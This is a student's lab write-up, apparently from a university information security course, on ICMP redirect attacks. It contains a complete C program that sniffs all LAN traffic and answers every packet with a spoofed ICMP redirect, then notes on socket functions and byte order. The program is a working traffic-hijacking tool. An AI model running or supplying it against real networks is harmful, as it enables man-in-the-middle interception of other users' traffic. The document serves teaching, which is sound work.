科软-信息安全实验01-ICMP重定向

目录

  • 一 前言
  • 二 Talk is cheap, show me the code
  • 三 效果演示
  • 四 遇到的问题&解决

一 前言

文章不讲解理论知识哈,想学习理论知识的,认真听课??,也可以参考郭老师的讲义:信息安全课程 ustcsse308

对于Linux,我只是个半路闯进来的小白,所以做实验过程中经常会被Linux内核玩得怀疑人生。因此,我觉得很有必要先阐明实验的环境,以免各位同学不小心掉坑里。当然,如果你就是想爬坑,咱也拦不住??

实验环境 / 工具:

你可能用得上的网站:

回到目录

二 Talk is cheap, show me the code

需要注意,下面代码的攻击目标不是对特定的IP,而是对所有捕获到的IP包都发送重定向包,如果你想修改过滤逻辑,修改pass_filter()方法就可以了。

代码 lcx-icmp.c 如下:

  1 #include<stdlib.h>
  2 #include<stdio.h>
  3 #include<string.h>
  4 #include<unistd.h>
  5 #include<sys/types.h>
  6 #include<sys/socket.h>
  7 #include<netinet/in.h>
  8 #include<netinet/ip_icmp.h>
  9 #include<linux/if_ether.h>
 10 #include<arpa/inet.h>
 11
 12 #define BUFF_SIZE 2048
 13 #define SUCCESS   1
 14 #define FAILURE   -1
 15
 16 const char *cmd_gateway = "-g";
 17 const char *cmd_srcip = "--src-ip";
 18 struct sockaddr_in arg_gateway;
 19 struct sockaddr_in arg_srcip;
 20 struct sockaddr_in target;
 21 int recvsockfd = -1;
 22 int sendsockfd = -1;
 23 int optval = 1; // setsockopt()函数中使用
 24 unsigned char recvbuff[BUFF_SIZE];
 25 unsigned char sendbuff[BUFF_SIZE];
 26
 27 // 方法声明
 28 int load_args(const int argc, char **);
 29 void print_cmdprompt();
 30 int icmp_redirect();
 31 int pass_filter();
 32 unsigned short cksum(unsigned short *, int len);
 33
 34 int main(int argc, char* argv[]) {
 35     if (load_args(argc, argv) < 0) {
 36         printf("command format error!\n");
 37         print_cmdprompt();
 38         return FAILURE;
 39     }
 40     recvsockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP));
 41     sendsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
 42     if (recvsockfd < 0 || sendsockfd < 0
 43         || setsockopt(sendsockfd, SOL_IP, IP_HDRINCL, &optval, sizeof(optval))) {
 44         perror("socket creation error");
 45         return FAILURE;
 46     }
 47     printf("lcx-icmp running...\n\n");
 48     while (1) {
 49         bzero(recvbuff, BUFF_SIZE);
 50         if (recv(recvsockfd, recvbuff, BUFF_SIZE, 0) > 0) {
 51             if (pass_filter())
 52                 icmp_redirect();
 53         } else {
 54             sleep(1);
 55         }
 56     }
 57     close(sendsockfd);
 58     close(recvsockfd);
 59     return SUCCESS;
 60 }
 61
 62 /**
 63  * 命令:lcx-icmp -g 192.168.23.132 --src-ip 192.168.23.2
 64  *
 65  * 载入参数:
 66  *   1) arg_gateway: 192.168.23.132
 67  *   2) arg_srcip: 192.168.23.2
 68  *
 69  * 参数标识:
 70  *   1) argv[1]: -g
 71  *   2) argv[3]: --src-ip
 72  *
 73  * @author southday
 74  * @date 2019.03.29
 75  */
 76 int load_args(const int argc, char *argv[]) {
 77     if (argc != 5
 78         || strcmp(argv[1], cmd_gateway) != 0
 79         || strcmp(argv[3], cmd_srcip) != 0
 80         || inet_aton(argv[2], &arg_gateway.sin_addr) == 0
 81         || inet_aton(argv[4], &arg_srcip.sin_addr) == 0)
 82         return FAILURE;
 83     return SUCCESS;
 84 }
 85
 86 /**
 87  * 打印命令提示信息
 88  * @author southday
 89  * @date 2019.03.29
 90  */
 91 void print_cmdprompt() {
 92     printf("\nlcx-icmp -g [gateway_ip] --src-ip [from_ip]\n\n");
 93     printf("\t      -g [gateway_ip]      eg: -g 192.168.23.132\n");
 94     printf("\t--src-ip [from_ip]         eg: --src-ip 192.168.23.2\n");
 95 }
 96
 97 /**
 98  * 发送ICMP重定向包
 99  * @author southday
100  * @date 2019.03.29
101  * @return 成功与否
102  */
103 int icmp_redirect() {
104     // 以太网帧首部14字节:6B(dest_mac) + 6B(src_mac) + 2B(type or length)
105     struct ip *origin_ip = (struct ip *)(recvbuff + 14);
106     bzero(sendbuff, BUFF_SIZE);
107
108     // 构造IP首部
109     struct ip *ip = (struct ip *)sendbuff;
110     ip->ip_hl = 5;
111     ip->ip_v = 4;
112     ip->ip_tos = 0;
113     // 20B(IP首部) + 8B(重定向ICMP首部) + ?B(原始IP首部) + 8B(原始IP数据报的前8个字节)
114     ip->ip_len = htons(20 + 8 + (origin_ip->ip_hl<<2) + 8);
115     ip->ip_id = origin_ip->ip_id;
116     ip->ip_off = 0;
117     ip->ip_ttl = 64;
118     ip->ip_p = 1; // ICMP:1
119     ip->ip_sum = 0;
120     ip->ip_src = arg_srcip.sin_addr;
121     ip->ip_dst = origin_ip->ip_src;
122     // 计算IP首部校验和,只涉及首部
123     ip->ip_sum = cksum((unsigned short *)ip, 20);
124
125     // 构造ICMP首部
126     struct icmp *icmp = (struct icmp *)(sendbuff + 20);
127     icmp->icmp_type = 5; // REDIRECT TYPE = 5
128     icmp->icmp_code = 1; // 对特定主机路由的改变
129     icmp->icmp_cksum = 0;
130     icmp->icmp_hun.ih_gwaddr = arg_gateway.sin_addr;
131
132     // 拷贝原始IP首部 + 原始IP数据报的前8个字节,拷贝到sendbuff的toaddr位置
133     unsigned char *toaddr = (unsigned char *)(sendbuff + 20 + 8);
134     // 从recvbuff中取: 原始IP首部(长度为origin_ip->ip_hl<<2) + 原始IP数据报的前8个字节
135     memcpy(toaddr, (unsigned char *)origin_ip, (origin_ip->ip_hl<<2) + 8);
136     // 计算ICMP校验和,涉及首部和数据部分,包括:8字节ICMP首部 + 原始IP首部 + 原始IP数据报的前8字节
137     icmp->icmp_cksum = cksum((unsigned short *)icmp, 8 + (origin_ip->ip_hl<<2) + 8);
138
139     // 打印IP包字节数据,便于调试
140     printf("                                              %02x %02x", sendbuff[0], sendbuff[1]);
141     for (int i = 0, len = ntohs(ip->ip_len)-2; i < len; i++) {
142         if (i % 16 == 0)
143             printf("\n");
144         if (i % 8 == 0)
145             printf("  ");
146         printf("%02x ", sendbuff[i+2]);
147     }
148     printf("\n");
149
150     target.sin_addr = ip->ip_dst;
151     int ret = sendto(sendsockfd, sendbuff, ntohs(ip->ip_len), 0, (struct sockaddr *)&target, sizeof(target));
152     if (ret < 0) {
153         perror("send error");
154     } else {
155         printf("send a icmp redirect package!\n");
156     }
157     return SUCCESS;
158 }
159
160 /**
161  * 包过滤,过滤非TCP, UDP, ICMP的包
162  * @author southday
163  * @date 2019.03.29
164  * @return 是否通过过滤
165  */
166 int pass_filter() {
167     // 以太网帧首部14字节:6B(dest_mac) + 6B(src_mac) + 2B(type or length)
168     struct ip *ip = (struct ip *)(recvbuff + 14);
169     return (ip->ip_p == IPPROTO_TCP
170             || ip->ip_p == IPPROTO_UDP
171             || ip->ip_p == IPPROTO_ICMP);
172 }
173
174 /**
175  * 计算校验和
176  *   1) IP:IP首部
177  *   2) ICMP:首部+数据
178  * @param *addr 开始计算校验和的入口地址
179  * @param len 计算校验和所使用的数据长度,单位Byte
180  * @return 16位的校验和
181  *
182  * @author southday
183  * @date 2019.03.29
184  */
185 unsigned short cksum(unsigned short *addr, int len) {
186     int sum = 0;
187     unsigned short res = 0;
188     /* len -= 2,因为 sizeof(unsigned short) = 2;
189      * sum += *addr++,每次偏移2Byte
190      */
191     for (; len > 1; sum += *addr++, len -= 2);
192     // 每次处理2Byte,可能会存在多余的1Byte
193     sum += len == 1 ? *addr : 0;
194     // sum:高16位 + 低16位,高16位中存在可能的进位
195     sum = (sum >> 16) + (sum & 0xffff);
196     // sum + sum的高16位,高16位中存在可能的进位
197     sum += (sum >> 16);
198     // 经过2次对高16位中可能存在的进位进行处理,即可确保sum高16位中再无进位
199     res = ~sum;
200     return res;
201 }

回到目录

三 效果演示

mice端执行ping命令,如下:

hacker端执行lcx-icmp程序,如下:

我把发送的IP包字节打印出来,方便结合Wireshark进行调试;

回到目录

四 遇到的问题&解决

下面的内容是我在做实验过程中遇到的问题、疑问、思考,对不少知识点也只是浅尝辄止,仅供参考??

1 ‘ETH_P_IP’ was not declared in this scope

添加头文件:#include<linux/if_ether.h>
该头文件位于:/usr/include/linux/if_ether.h

2 recv()、recvfrom() | send()、sendto()函数的使用

sendto(sd,buffer,BUFSIZ,0,(SOCKADDR*)&addrServ,sizeof(SOCKADDR));  // UDP
send(sd, buffer, BUFSIZ, 0);  // TCP
recvfrom(sd,buffer,BUFSIZ,0,(SOCKADDR*)&addrClient,sizeof(SOCKADDR));  // UDP
recv(sd, buffer, BUFSIZ, 0);  // TCP

recvfrom 可同时应用于面向连接和无连接的套接字;recv 一般只用在面向连接的套接字,几乎等同于recvfrom,只要将recvfrom的第5个参数设置为NULL;
recvfrom 多了两个参数,可以用来接收对端的地址信息,这个对于udp这种无连接的,可以很方便地进行回复。如果在udp当中也使用recv,那么就不知道该回复给谁了,如果你不需要回复的话,也是可以使用的。对于tcp是已经知道对端的,就没必要每次接收还多收一个地址,没必要取地址信息,在accept中就可以取得。

3 setsocketopt()函数

参考:setsockopt()函数功能介绍

功能描述:获取或者设置与某个套接字关联的选项。选项可能存在于多层协议中,它们总会出现在最上面的套接字层。当操作套接字选项时,选项位于的层和选项的名称必须给出。为了操作套接字层的选项,应该将层的值指定为SOL_SOCKET。为了操作其它层的选项,控制选项的合适协议号必须给出。例如,为了表示一个选项由TCP协议解析,层应该设定为协议号TCP。

int getsockopt(int sock, int level, int optname, void *optval, socklen_t *optlen);

int setsockopt(int sock, int level, int optname, const void *optval, socklen_t optlen);

  • sock:将要被设置或者获取选项的套接字;
  • level:选项所在的协议层;
  • optname:需要访问的选项名;
  • optval:
    • 对于getsockopt(),指向返回选项值的缓冲;
    • 对于setsockopt(),指向包含新选项值的缓冲;
  • optlen:
    • 对于getsockopt(),作为入口参数时,选项值的最大长度。作为出口参数时,选项值的实际长度;
    • 对于setsockopt(),现选项的长度;

4 unsigned int ip_hl:4,这里的:4是什么意思?

位域,表示ip_hl只取4bit;位段(bit-field)是以位为单位来定义结构体(或联合体)中的成员变量所占的空间。含有位段的结构体(联合体)称为位段结构。采用位段结构既能够节省空间,又方便于操作。

5 为什么要使用htons(),ntohl(),ntohs(),htons()函数?

之所以需要这些函数是因为计算机数据表示存在两种字节顺序:NBO与HBO;

参考: socket编程为什么需要htons(), ntohl(), ntohs(),htons() 函数

htonl()--"Host to Network Long"
ntohl()--"Network to Host Long"
htons()--"Host to Network Short"
ntohs()--"Network to Host Short"

数字所占位数小于或等于一个字节(8 bits)时,不要用htons转换。这是因为对于主机来说,大小尾端的最小单位为字节(byte)。
网络字节顺序(NBO,Network Byte Order):按从高到低的顺序存储,在网络上使用统一的网络字节顺序,可以避免兼容性问题。
主机字节顺序(HBO,Host Byte Order):不同的机器HBO不相同,与CPU设计有关,数据的顺序是由cpu决定的,而与操作系统无关。
如 Intelx86结构下,short型数0x1234表示为34 12,int型数0x12345678表示为78 56 34 12;如IBM power PC结构下,short型数0x1234表示为12 34,int型数0x12345678表示为12 34 56 78;

6 关于大端法、小端法

例如有个变量x为int型,存放在地址0x100的地方,其16进制值为:0x12345678,地址范围是0x100~0x103;

大端法存储:

小端法存储:

最高有效位( most significant bit,MSB)指的是一个n位二进制数字中的n-1位,具有最高的权值2^(n-1)。最低有效位和最高有效位是相对应的概念。在大端序中,msb即指最左端的位。
高、低字节:按平时书写习惯,从左到右是高位到低位的顺序;
高、低地址:内存地址可以对应十六进制的数值,值大的为高地址,否则为低地址;

字节顺序是指占内存多于一个字节类型的数据在内存中的存放顺序,通常有小端、大端两种字节顺序:

  • 大端字节序:是高字节数据存放在低地址处,低字节数据存放在高地址处;
  • 小端字节序:指低字节数据存放在内存低地址处,高字节数据存放在内存高地址处;

7 inet_aton()是什么函数?检测ip地址正确性?inet_ntoa()函数呢?

参考:

需要包含头文件:

1 #include<sys/socket.h>
2 #include<netinet/in.h>
3 #include<arpa/inet.h>

int inet_aton(const char *string, struct in_addr *addr)

输入参数:

  • string 包含ASCII码表示的IP地址;
  • *addr 用来保存转换后新的IP地址结构(网络字节序的二进制);

返回值:

  • 成功则返回非0值,返回1;
  • 失败则返回0值;

char *inet_ntoa(struct in_addr in);

该函数将一个网络字节顺序的IP地址转换为它所对应的点分十进制串;

输入参数:in 网络字节序IP地址;

返回值:返回点分十进制字符串的指针;

8 为什么使用inet_pton()、inet_ntop()函数?它们与inet_aton()、inet_ntoa()有什么区别?

#include <arpa/inet.h>

int inet_pton(int family, const char * strptr, void * addrptr);

返回:1(成功),0(输入不是有效的表达格式 ), -1(出错);

const char * inet_ntop(int family, const void * addrptr, char * strptr, size_t len);

其中 len =sizeof(* strptr);

返回: 指向结果的指针(成功), NULL(出错)

很明显,pton 对应 aton,ntop 对应 ntoa,虽然实现效果相同,但是它们的参数不同,根据 /usr/include/netinet/ip.h 中关于结构体iphdr和ip的定义即可看出区别:

  • 如果你使用struct ip,那么使用inet_aton()、inet_ntoa();
  • 如果你使用struct iphdr,那么使用inet_pton()、inet_ntop();

 1 struct iphdr
 2   {
 3 #if __BYTE_ORDER == __LITTLE_ENDIAN
 4     unsigned int ihl:4;
 5     unsigned int version:4;
 6 #elif __BYTE_ORDER == __BIG_ENDIAN
 7     unsigned int version:4;
 8     unsigned int ihl:4;
 9 #else
10 # error "Please fix <bits/endian.h>"
11 #endif
12     uint8_t tos;
13     uint16_t tot_len;
14     uint16_t id;
15     uint16_t frag_off;
16     uint8_t ttl;
17     uint8_t protocol;
18     uint16_t check;
19     uint32_t saddr;
20     uint32_t daddr;
21     /*The options start here. */
22   };
23
24 struct ip
25   {
26 #if __BYTE_ORDER == __LITTLE_ENDIAN
27     unsigned int ip_hl:4;       /* header length */
28     unsigned int ip_v:4;        /* version */
29 #endif
30 #if __BYTE_ORDER == __BIG_ENDIAN
31     unsigned int ip_v:4;        /* version */
32     unsigned int ip_hl:4;       /* header length */
33 #endif
34     uint8_t ip_tos;         /* type of service */
35     unsigned short ip_len;      /* total length */
36     unsigned short ip_id;       /* identification */
37     unsigned short ip_off;      /* fragment offset field */
38 #define IP_RF 0x8000            /* reserved fragment flag */
39 #define IP_DF 0x4000            /* dont fragment flag */
40 #define IP_MF 0x2000            /* more fragments flag */
41 #define IP_OFFMASK 0x1fff       /* mask for fragmenting bits */
42     uint8_t ip_ttl;         /* time to live */
43     uint8_t ip_p;           /* protocol */
44     unsigned short ip_sum;      /* checksum */
45     struct in_addr ip_src, ip_dst;  /* source and dest address */
46   };

回到目录

转载请说明出处!?? have a good time ~

原文地址:https://www.cnblogs.com/southday/p/11005766.html

时间: 2024-10-08 17:53:03

科软-信息安全实验01-ICMP重定向的相关文章

windows环境常用网络命令测试和分析(51cto实验01)

结果分析 1,ipconfig显示本机ip地址配置情况. 2,ipconfig/all显示本机IP地址配置等情况的详细信息. 3,ping指令测试网络的连通性,发送4个ICMP的类型8报文给对方,对方回应4个ICMP类型的报文给本机. 4,ping –t不停发送ICPM的类型8报文给对方,只要对方存活,就会一直发. 5,arp –a显示本机arp缓存的内容,对方IP地址和对方MAC地址的对应关系. 6,arp –d删除本机的arp缓存区,清除IP地址与MAC地址的对应关系. 7,arp –s绑定

GNS3 模拟icmp重定向

网关实质上是一个网络通向其他网络的IP地址.比如有网络A和网络B,网络A的IP地址范围为“192.168.1.1~192. 168.1.254”,子网掩码为255.255.255.0:网络B的IP地址范围为“192.168.2.1~192.168.2.254”,子网掩码为255.255.255.0.在没有路由器的情况下,两个网络之间是不能进行TCP/IP通信的,即使是两个网络连接在同一台交换机(或集线器)上,TCP/IP协议也会根据子网掩码(255.255.255.0)判定两个网络中的主机处在不

ICMP重定向

ICMP重定向报文是ICMP控制报文中的一种.在特定的情况下,当路由器检测到一台机器使用非优化路由的时候,它会向该主机发送一个ICMP重定向报文,请求主机改变路由.路由器也会把初始数据报向它的目的地转发. 如上图所示,R3想发送数据报给R4,R3的默认网关是R1,R3将数据报发送给R1,R1查看自己的路由表,到达R4的下一跳地址是R2,当把数据报发送给R2时,R1检测到它正在发送数据报的接口与数据报到达的接口是相同的,R1,R2,R3位于同一LAN,这样就满足了ICMP重定向的条件.R1会发送一

软工 实验三 需求分析(沈樟伟组)

  北京工业大学耿丹学院            <软件工程> 实验报告三       课题名称     轮船售票系统                  专    业      中软                         班    级      14-1班                       组    号         8                          组    名                                    组    长    

RHEL 7 RAID 5 (软)实验 &nbsp; 磁盘阵列

一.模拟磁盘设备 [[email protected] ~]# ls /dev/sd*   # 查看添加的硬件----磁盘设备 /dev/sda  /dev/sda1  /dev/sda2  /dev/sdb  /dev/sdc [[email protected] ~]# fdisk /dev/sdb # 分区 模拟出4块硬盘 Command (m for help): n Partition type:    p   primary (0 primary, 0 extended, 4 fre

实验01 Linux常用命令和帮助系统

一.实验目的 熟悉Linux的常用命令和帮助系统 二.实验环境 CentOS 6.5系统. 三.实验内容 1. 通过终端登录.注销系统 2. 学习常用命令 3. 学习查看在线帮助 四.实验步骤: 1. date命令 (1) 显示当前是几点钟 命令:_date +%k_ (2) 显示当前是几点几分几秒 命令:_date +%r_ (3) 显示当前是几号 命令:_date +%d_ (4) 显示当前是星期几 命令:_date +%a_ (5) 显示当前是几月 命令:_date +%B_ (6) 显示

09A-独立按键消抖实验01——小梅哥FPGA设计思想与验证方法视频教程配套文档

芯航线--普利斯队长精心奉献 ? 实验目的: 1.复习状态机的设计思想并以此为基础实现按键消抖 2.单bit异步信号同步化以及边沿检测 3.在激励文件中学会使用随机数发生函数$random 4.仿真模型的概念 实验平台:芯航线FPGA核心板 实验原理: ????按键在电子设计中使用的最多,从复位到控制设置均可以看到其身影.现在按键的功能也种类也越来越多,例如多向按键.自锁按键.薄膜按键等.普通按键其硬件示意图如图9-1所示. 图9-1 按键示意图 芯航线开发板所载的为两脚贴片按键,分别位于开发板

SEED信息安全实验系列:缓冲区溢出漏洞实验

缓冲区溢出漏洞实验 本实验详细出自http://www.shiyanlou.com/courses/231,转载请注明出处. 一.实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写. 二.实验准备 本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备. 1.输入命令安装一些用于编译32位C程序的

嵌入式02 STM32 实验01 端口复用和重映射

内设与外设: 端口复用和端口重映射都需要了解内设和外设,那么什么是内设?什么是外设? 内设:单片机内部集成的功能一般包括:串口模块.SPI模块(Serial Peripheral Interface  串行外设接口).I2C模块(Philips公司开发的一种简单.双向二线制同步串行总线).A/D模块(模数转换器).PWM模块(Pulse Width Modulation  脉冲宽度调制).CAN模块(Controller Area Network  控制器局域网络).EEPROM(Electri